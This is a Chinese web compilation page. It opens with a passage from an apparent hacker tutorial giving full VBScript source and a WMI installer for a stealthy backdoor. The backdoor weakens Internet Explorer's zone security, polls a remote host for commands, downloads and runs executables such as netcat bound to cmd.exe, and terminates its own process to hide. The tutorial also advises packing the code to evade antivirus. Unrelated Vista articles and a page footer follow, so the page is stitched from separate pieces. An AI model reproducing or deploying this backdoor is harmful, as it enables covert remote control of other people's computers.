4,为了借助ie对象穿透防火墙,XMLHTTP对象必须在ie中被创建,这会受到Internet域安全级别的限制。即使将代码保存在html文件中再用ie打开,也不过是“我的电脑”域,创建不安全的ActiveX对象还是会弹出警告对话框。解决办法是修改注册表,临时更改安全设置。

5,WScript对象由wscript.exe或cscript.exe提供,而scrcons.exe没有提供,所以很多常用的功能,比如WScript.Sleep都不能用了。不能Sleep就无法异步使用XMLHTTP,而同步XMLHTTP可能被长时间阻塞,大大不利于后门的隐蔽。调用ping命令来延时会创建新进程,用WScript.Shell的Popup方法延时则有“咚”一声提示音。好在Microsoft.XMLHTTP的“亲戚”不少,比如Msxml2.XMLHTTP、Msxml2.ServerXMLHTTP、Msxml2.DOMDocument、WinHttp.WinHttpRequest等。最后那个可以设置超时时间,刚好满足需要。

即使有重重困难,脚本后门仍然值得挑战一下。当肉鸡上的各类木马纷纷被杀毒软件肃清后,一个24小时才运行一次的脚本后门可能是你最后的希望。

下面是一个简单的脚本后门的核心代码(没有安装功能):

cmdu=”myweb.8866.org/cmd.txt“     '从web服务器获取命令的url'

cmdw=4000                                '下载超时时间4秒'

cmdl=”HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength“  '记录命令长度的键值名'

on error resume next                     '忽略非致命错误 '(调试时注释掉本行)

set shl=createobject(”WScript.Shell“)    '虽然不能使用WScript根对象,其子对象还是可以用的'

set aso=createobject(”ADODB.Stream“)

set ie=createobject(”InternetExplorer.Application“)  '使用ie绕过防火墙'

zone=”HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3“

set1=zone&”\1201“

set2=zone&”\1400“

set3=zone&”\CurrentLevel“

val1=shl.regread(set1)                   '保存原来的安全设置'

val2=shl.regread(set2)

val3=shl.regread(set3)

regd=”REG_DWORD“

shl.regwrite set1,0,regd                 '允许在Internet域运行不安全的ActiveX'

shl.regwrite set2,0,regd                 '允许活动脚本'

shl.regwrite set3,0,regd                 '设置当前Internet域安全级别为“自定义”'

ie.visible=0                             ':ie.visible=1 '(调试用)

ie.navigate ”about“&”:blank“             '这里使用字符串连接纯属反论坛过滤'

ie.document.write _

”“

set whr=ie.document.script.whr()         '在ie内创建WinHttpRequest对象'

whr.settimeouts cmdw,cmdw,cmdw,cmdw      '设置域名解析、连接、发送和接收超时时间'

whr.open ”GET“,cmdu,true                 '获取命令文件'

whr.send

if not whr.waitforresponse(cmdw) then die

if whr.status>299 then die

rt=whr.responsetext                      ':wscript.echo rt '(调试用)

':shl.regwrite cmdl,0,regd '(调试用)

if len(rt)=shl.regread(cmdl) then die    '与前一个命令的长度比较'

shl.regwrite cmdl,len(rt),regd           '更新命令长度'

cmds=split(rt,vbcrlf,-1)

if ubound(cmds)<1 then die

cmdt=lcase(trim(cmds(0)))                ':wscript.echo cmdt '(调试用)

aso.type=1

aso.open

cd=shl.currentdirectory&chr(92)

select case cmdt                         '分析命令文件类型'

case ”'vbs“                           '是vbs'

execute(rt)                        '直接在当前脚本上下文中执行'

die

case ”:bat“                           '是批处理'

aso.write whr.responsebody

aso.savetofile cd&”_.bat“,2        '保存在当前目录'

aso.close

shl.run chr(34)&cd&”_.bat“”“,0     '运行批处理'

die

case ”'wsh“                           '是Windows脚本'

aso.write whr.responsebody

aso.savetofile cd&”_.vbs“,2        '保存在当前目录'

aso.close

shl.run ”cscript.exe “”“&cd&”_.vbs“”“,0 '使用cscript作为脚本宿主'

die

case ”exe“                            'exe需进一步分析'

case else die

end select

if ubound(cmds)<4 then die               ':wscript.echo cmds(1) '(调试用)

whr.open ”GET“,cmds(1),true              '从指定位置下载exe文件'

whr.send

if not whr.waitforresponse(cmds(2)) then die

if whr.status>299 then die

path=shl.expandenvironmentstrings(cmds(3))'展开保存路径中的环境变量'

aso.write whr.responsebody               ':wscript.echo path '(调试用)

aso.savetofile path,2                    '保存exe文件'

aso.close

shl.run chr(34)&path&”“” “&cmds(4),0     '执行exe'

die

sub die

ie.quit

shl.regwrite set1,val1,regd           '还原Internet域安全设置'

shl.regwrite set2,val2,regd

shl.regwrite set3,val3,regd

for each ps in getobject(”winmgmts:\\.\root\cimv2:win32_process“).instances_

if lcase(ps.name)=”scrcons.exe“ then ps.terminate  '自杀'

next

'wscript.echo ”die“: wscript.quit '(调试用)

end sub

取消调试语句的注释,上面这段核心代码就可以直接运行。

它将试图从myweb.8866.org上获取cmd.txt,根据里面的内容进一步行动。

cmd.txt看起来像这样:

exe                             //被执行的文件类型,可以是'vbs、:bat、exe或'wsh

myweb.8866.org/nc.exe    //被执行的文件的下载url

4000                            //下载超时时间,单位毫秒

%windir%\system32\nc.exe        //文件的保存位置,支持环境变量

-L -p 1234 -e cmd.exe           //命令行参数

收到上面这个命令后,脚本将从指定url下载nc.exe,保存到系统目录并运行。

如果第一行的文件类型为'vbs、'wsh或:bat,则把命令文件本身当作脚本或批处理来执行。比如:

:bat

net start telnet :启动telnet服务

del %0 :自删除

如果只是想让某台主机执行命令,可以这样:

:bat

ipconfig | find ”123.45.67.89“ && net start telnet

del %0

这样就只有ip地址为123.45.67.89的主机才会启动telnet。

'wsh和'vbs的区别是,前者保存为文件由cscript.exe调用,后者直接在脚本后门“内部”执行。

使用'vbs的好处是不用生成文件,而且可以直接利用后门中已经创建的对象,比如shl,但也因此不能用WScript根对象。

下面的'vbs命令文件把”本地帐户的共享和安全模式“由”仅来宾“改为”经典“(对XP和2003有效):

'vbs

shl.regwrite ”HKLM\SYSTEM\CurrentControlSet\Control\Lsa\forceguest“,0,”REG_DWORD“

注意,vbs和wsh前面都有一个单引号,因为整个命令文件都作为脚本执行,所以必须注释掉第一行,:bat也是一样。

使用'vbs时千万注意不要有语法错误,否则会使后门出错并停止。如果是复杂的脚本,建议使用'wsh。

将核心代码改写为单行字符串格式,就可以作为ASEC的实例安装了。改写时要注意”if“和”end if“配对以及去掉续行符。

完整的安装脚本代码如下:

'***以下为参数配置,请根据情况自行修改***'

nslink=”winmgmts:\\.\root\cimv2:“                  'ASEC所在的名字空间'

doorname=”vbscript_backdoor“                       '记住后门的名字,卸载时需要'

runinterval=86400000                               '每天运行一次'

cmdu=”myweb.8866.org/cmd.txt“               '命令文件的位置'

cmdw=4000                                          '文件下载超时时间'

cmdl=”HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength“ '保存命令长度的键值名'

'***参数配置结束***'

createobject(”WScript.Shell“).regwrite cmdl,0,”REG_DWORD“

'脚本后门核心代码'

stxt=”cmdu=“”“&cmdu&”“”:cmdw=“&cmdw&”:cmdl=“”“&cmdl&”“”:on error resume next:set shl=createobject(“”WScript.Shell“”):set aso=createobject(“”ADODB.Stream“”):set ie=createobject(“”InternetExplorer.Application“”):zone=“”HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3“”:set1=zone&“”\1201“”:set2=zone&“”\1400“”:set3=zone&“”\CurrentLevel“”:val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=“”REG_DWORD“”:shl.regwrite set1,0,regd:shl.regwrite set2,0,regd:shl.regwrite set3,0,regd:ie.visible=0:ie.navigate “”about“”&“”:blank“”:ie.document.write “”“”:with ie.document.script.whr():.settimeouts cmdw,cmdw,cmdw,cmdw:.open “”GET“”,cmdu,true:.send:if not .waitforresponse(cmdw) then die:end if:if .status>299 then die:end if:rt=.responsetext:if len(rt)=shl.regread(cmdl) then die:end if:shl.regwrite cmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):if ubound(cmds)<1 then die:end if:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory&chr(92):select case cmdt:case “”'vbs“”:execute(rt):die:case “”:bat“”:aso.write .responsebody:aso.savetofile cd&“”_.bat“”,2:aso.close:shl.run chr(34)&cd&“”_.bat“”“”“”,0:die:case “”'wsh“”:aso.write .responsebody:aso.savetofile cd&“”_.vbs“”,2:aso.close:shl.run “”cscript.exe “”“”“”&cd&“”_.vbs“”“”“”,0:die:case “”exe“”:case else die:end select:if ubound(cmds)<4 then die:end if:.open “”GET“”,cmds(1),true:.send:if not .waitforresponse(cmds(2)) then die:end if:if .status>299 then die:end if:path=shl.expandenvironmentstrings(cmds(3)):aso.write .responsebody:aso.savetofile path,2:aso.close:shl.run chr(34)&path&“”“”“” “”&cmds(4),0:end with:die:sub die:ie.quit:shl.regwrite set1,val1,regd:shl.regwrite set2,val2,regd:shl.regwrite set3,val3,regd:for each ps in getobject(“”winmgmts:\\.\root\cimv2:win32_process“”).instances_:if lcase(ps.name)=“”scrcons.exe“” then ps.terminate:end if:next:end sub“

'配置事件消费者'

set asec=getobject(nslink&”ActiveScriptEventConsumer“).spawninstance_

asec.name=doorname&”_consumer“

asec.scriptingengine=”vbscript“

asec.scripttext=stxt

set asecpath=asec.put_

'配置计时器'

set itimer=getobject(nslink&”__IntervalTimerInstruction“).spawninstance_

itimer.timerid=doorname&”_itimer“

itimer.intervalbetweenevents=runinterval

itimer.skipifpassed=false

itimer.put_

'配置事件过滤器'

set evtflt=getobject(nslink&”__EventFilter“).spawninstance_

evtflt.name=doorname&”_filter“

evtflt.query=”select * from __timerevent where timerid=“”“&doorname&”_itimer“”“

evtflt.querylanguage=”wql“

set fltpath=evtflt.put_

'绑定消费者和过滤器'

set fcbnd=getobject(nslink&”__FilterToConsumerBinding“).spawninstance_

fcbnd.consumer=asecpath.path

fcbnd.filter=fltpath.path

fcbnd.put_

wscript.echo ”安装完成“

与前一个永久事件处理过程不同的是,脚本后门的事件源是计时器,在每个名字空间都可以实例化并触发事件。所以,不一定要将ASEC安装到root\cimv2。特别是XP/2003,ASEC默认已经安装到root\subscription,只需要相应修改nslink的值,就可以安装脚本后门了。

卸载脚本后门:

cmdl=”HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength“

createobject(”WScript.Shell“).regdelete cmdl       '删除保存命令长度的键值'

nslink=”winmgmts:\\.\root\cimv2:“

doorname=”vbscript_backdoor“           '根据脚本后门的名字找到各个对象实例'

myconsumer=doorname&”_consumer“

mytimer=doorname&”_itimer“

myfilter=doorname&”_filter“

set binds=getobject(nslink&”__FilterToConsumerBinding“).instances_

for each bind in binds

if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _

and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then

bind.delete_

exit for

end if

next

getobject(nslink&”ActiveScriptEventConsumer.Name=“”“&myconsumer&”“”“).delete_

getobject(nslink&”__IntervalTimerInstruction.TimerId=“”“&mytimer&”“”“).delete_

getobject(nslink&”__EventFilter.Name=“”“&myfilter&”“”“).delete_

wscript.echo ”卸载完成“

几点补充说明:

1,脚本后门的优势在于隐蔽,所以24小时才运行一次是合适的。不用担心因为系统关机而错过运行机会,下次启动时会补上的。

2,为了更好的反查杀,可以给脚本后门的核心代码加壳。在功能上也可以改进到接近IRC木马的程度,只不过服务端是Web服务器,不能同时养太多的马。

3,脚本后门的自启动和运行依赖于WMI服务,虽然禁用WMI服务就可以杜绝此类后门和木马,但比起通过注册表启动还是可靠的多。如果被蠕虫病毒利用,恐怕会很麻烦吧。

【结语】

Windows脚本就像万能胶,能够把独立的程序、服务、控件组合起来完成任务。脚本编程的技巧就是组合的技巧。XP和2003比2000自带更多的命令行工具,WMI也大大加强了,脚本的功能水涨船高,可以说是“只有想不到,没有做不到”。一切有待你的发掘。

最后,感谢你耐心看完本文,希望本文可以为你学习Windows脚本提供一些帮助。

欢迎来信与我交流 mailtzzzevazzz@126.com

欢迎访问幻影旅团 www.ph4nt0m.org

【参考资料】

[1] 《Windows脚本技术》 介绍Windows脚本的基础知识

download.microsoft.com/download/winscript56/Install/5.6/W982KMe/CN/scd56chs.exe

[2] WMITools 学习脚本必备,包括CIM Studio、Event Registration、Event Viewer和Object Browser四个工具

download.microsoft.com/download/.NetStandardServer/Install/V1.1/NT5XP/EN-US/WMITools.exe

[3] 《WMI技术指南》 出版社:机械工业出版社 作者:Marcin Policht

www.huachu.com.cn/itbook/itbookinfo.asp?lbbh=BH99801035

[4] 《System Administration Scripting Guide》 包含大量WMI脚本示例

www.sometips.com/soft/script_repository.chm

[5] Script. Encoder 官方脚本编码工具

download.microsoft.com/download/winscript56/Install/1.0/WIN98MeXP/CN/sce10chs.exe

[6] 微软脚本中心

www.microsoft.com/china/technet/community/scriptcenter/default.mspx

[7] 《MS Windows Script. Host 2.0 Developers Guide》

www.sometips.com/soft/wsh.zip

篇6:Windows Vista硬件优势揭秘

最近关于Windows Vista的软件新特性各大网站已经介绍了很多,其中许多功能将对苹果的Mac操作系统和Linux构成巨大的威胁,一直以来各大硬件厂商也在为Vista的发布做准备,不断升级自己的产品以适应Vista将来的需要。本文和大家探讨一下有关Vista的一些新硬件特性和优势。

Windows Vista笔记本将具有类似嵌入PDA的显示效果,可以在耗电非常低的情况下快速访问邮件、日历、音乐,甚至视频。而且,这只是Windows Vista笔记本的冰山一角。

另外,由于在Windows Vista中几乎根除了人们担心的Windows蓝屏死机的情况,移植到新硬件平台将会是一件更容易的事。当然Mac在这一点上也有明显的优势。

台式机硬件

我们首先来看一下台式机硬件。在台式机方面你将可能看到最令人印象深刻的提高,那就是Windows Media Center硬件的出现。也许你将会在使用该媒体平台的硬件推出后,才对它有更准确可靠的认识,也许讨论它还为时尚早,但是我可以肯定的告诉你Media Center将会比现在具有更多的功能。

在当前的Media Center中还存在两个比较大的问题:依然太过复杂;在先要位置得到非常鲜明的内容依然几乎是不可能的。根据最近微软与内容提供商达成的协议,明年将会有更多HD内容进入Media Center产品中。

这将使得平台可以发挥更多的潜力,另外今年已经购买的产品也将可以通过升级得到新的服务。新增的一些功能将使Media Center平台更好的满足你的家庭娱乐需要,例如内置扩音器和对DVD和CD库的直接控制等功能。以后你操作Media Center就像平常使用DVD播放机一样简单方便。

Tablet软件也将会在桌面机上出现,到时将会至少有一家显示器厂商提供相应的显示器(希望会有更多)。这将使得你可以把它当作一个数字画板,你可以用这个虚拟的白板来更方便的编辑图形、画图和与别人共享。现在想象一下你在你的屏幕上自由的画图并与别人分享,这是一件多么激动人心的事情。

说到显示器,他们将越来越大而价格越来越低,更多的液晶显示器将会给人更好的视觉效果。让我们期待适合娱乐需要的42英寸的液晶或等离子显示器的出现。另外大量的无线连接的显示器将会出现,如同本月惠普所宣称的震撼人心的无线等离子显示屏。

超低的电耗和低噪将是本阶段OEM厂商努力的目标,Intel和AMD正在为谁能为Vista提供最好的平台进行殊死拼搏,而最近一个叫做威胜(VIA)的小公司推出C7处理器,具有精巧、省电的设计及低成本的特点,将可能后来者居上,

客户定制化对硬件厂商依然是一个日益重要的规则,按订单生产用户定制的颜色和配置的硬件。

Vista笔记本电脑

目前正在大规模替代桌面PC的笔记本电脑,将进行大范围的定制更新。我们希望出现更多的联合产品诸如宏基的Ferrari,惠普的Livestrong和悍马(HUMMER),以及像Voodoo Envy一样具有强大色彩功能的笔记本。

绝大部分笔记本都拥有内置的大范围无线网卡,因此我们不必花额外的钱来访问每一个热点网络。笔记本电脑已变成了综合娱乐设备,并期待与TiVO To-Go、Sling Media和Orb网络等具有更好的整合。简短来说,可以让你的笔记本随时随地运行你的程序,尤其是当你在家里拥有一台Media Center 台式机的时候。

多处理器支持和电池技术的提高使得电池的寿命得到很大提高,电源管理功能也更强大了。笔记本电脑性能将变得更可靠,Dell最近宣布的扩展semi-hardened的技术,联想的独特的强大的抗拒物理损坏的技术等,都将使笔记本性能得到很大提升。

另外,笔记本电脑在安全性方面也将会有更多新的特点。

价格优势

上周eMachines以极具诱惑力的价格推出了他们的基于AMD处理器的新台式机系列产品。不过明年你将看到更多更优惠的产品的出现。

另外,具有很多新功能的笔记本电脑的价格也将下滑。简短来说,你买一台好的台式机加上一台好的笔记本,总共花的钱可能是几年前买一样所花的钱。当然,这并不是说市场不会再有高价的产品,只是说市场上主流产品的价格将是我们可以承受的。 [next]

那么是什么是Vista系统如此独特呢。Vista是Jim Allchin(微软平台事业部的副总裁)的封山之作。他回顾几年以来的Windows,感觉Windows远没有达到他的要求,因此他总结所有的经验,在他退休之前要推出这一款值得他骄傲的巨作。

篇7:揭秘Windows Vista引导机制

所谓的引导机制就是在炒作系统内核运行前的一小段程序,其主要作用是初始化电脑硬件设备,建立内存空间的映射图。从而将系统的软件和硬件设备环境调配到一个适合的状态,以使电脑最终调用系统内核而准备好适合的环境。

那么vista的引导机制是否和以前的windows的版本不同呢?其实vista引导机制是一项全新的技术。以前寄予nt的windows系统采用“ntldr”作为“boot loader” 来启动系统,

vista则是采用了”windows boot manager“引导机制。由vista系统中“bootmger.exe”实现系统引导。我们完全可以这样理解vista中的“bootmger。exe”文件取代了寄予nt技术windows中的“ntldr,boot。ini”引导文件。

如果想修改系统引导菜单他们之间就有很大的差别了。vista同过“Bootmgr。exe”文件学要用vista内置的工具“bcdedit.exe".来实现。但是我们如果想修改xp的引导文件我们只要同过修改:boot.ini。既可以实现系统引导菜单的修改。

【WindowsXP SP2 DEP技术揭秘Windows安全】相关文章:

1.技术安全评语

2.体验Win共享“还原”技术Windows系统

3.Windows Server 不容忽视的安全细节

4.防范Windows Server 的安全威胁

5.交换机安全防范技术

6.安全技术交底制度

7.安全技术劳保计划

8.技术安全工作总结范文

9.8种Windows安全模式解析以及应用

10.微软发布四月份信息安全公告Windows安全

下载word文档
《WindowsXP SP2 DEP技术揭秘Windows安全.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

  • 返回顶部